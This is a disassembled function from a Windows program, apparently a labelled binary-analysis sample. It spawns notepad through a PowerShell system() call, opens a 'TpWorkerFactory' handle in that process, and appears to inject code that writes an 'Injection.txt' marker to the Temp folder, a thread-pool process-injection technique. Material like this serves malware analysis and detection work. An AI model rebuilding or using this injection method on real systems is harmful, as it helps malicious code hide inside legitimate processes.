Function at 0x140002760
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 7], xmm0
movups xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x37], rax
mov dword [rbp + 0xf], 2
xor ebx, ebx
mov qword [rbp + 0x17], rbx
mov dword [rbp + 0x1f], ebx
movdqu xmmword [rbp + 0x27], xmm0
mov byte [rbp + 0x37], al
lea rax, str.notepad.exe
mov qword [rbp + 7], rax
lea rcx, str.powershell__Command__Start_Process_notepad_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbp - 0x39]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], rbx
lea r8d, [rbx + 0x1f]
lea rdx, str.Spawning_Target_Process_notepad
lea rcx, [rbp - 0x39]
call fcn.1400015b0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], rbx
mov qword [rbp - 1], rbx
lea r8d, [rbx + 4]
lea rdx, str.Info
lea rcx, [rbp - 0x19]
call fcn.1400015b0
nop
lea rdx, [rbp - 0x39]
lea rcx, [rbp - 0x19]
call fcn.140002140
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 7]
call fcn.140001f70
test al, al
je 0x140002996
cmp byte [rbp + 0x37], bl
je 0x140002996
lea r9, [rbp + 0x2f]
lea r8d, [rbx + 0x31]
lea rdx, section..data
mov rcx, qword [rbp + 0x17]
call fcn.140002460
test al, al
je 0x140002996
cmp byte [rbp + 0x37], bl
je 0x140002996
mov rdi, qword [rbp + 0x2f]
test rdi, rdi
je 0x140002996
cmp dword [rbp + 0xf], 2
jne 0x140002996
mov r8d, 0xf003f
lea rdx, str.TpWorkerFactory
mov rsi, qword [rbp + 0x17]
mov rcx, rsi
call fcn.140001b70
cmp rax, 0xffffffffffffffff
je 0x14000299a
mov r9, rsi
mov r8, rdi
mov rdi, qword [rbp + 0x27]
mov rdx, rdi
mov rcx, rax
call fcn.1400029e0
test al, al
je 0x14000299e
lea rax, [rbp - 0x19]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], rbx
mov qword [rbp - 1], rbx
lea r8d, [rbx + 0x24]
lea rdx, str.Injection.txt_created_in_Temp_Folder
lea rcx, [rbp - 0x19]
call fcn.1400015b0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], rbx
lea r8d, [rbx + 8]
lea rdx, str.Evidence
lea rcx, [rbp - 0x39]
call fcn.1400015b0
nop
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 0x39]
call fcn.1400022d0
lea rdx, str._SUCCESS
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call section..text
mov rcx, rax
lea rdx, [0x140001260]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp - 0x19]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], rbx
mov qword [rbp - 1], rbx
lea r8d, [rbx + 0xa]
lea rdx, str.gracefully
lea rcx, [rbp - 0x19]
call fcn.1400015b0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], rbx
lea r8d, [rbx + 0xb]
lea rdx, str.terminating
lea rcx, [rbp - 0x39]
call fcn.1400015b0
nop
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 0x39]
call fcn.140002140
jmp 0x1400029a3
mov rsi, qword [rbp + 0x17]
mov rdi, qword [rbp + 0x27]
mov ebx, 0xffffffff
test rdi, rdi
je 0x1400029b1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x1400029bf
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rbx, qword [rsp + 0xd0]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret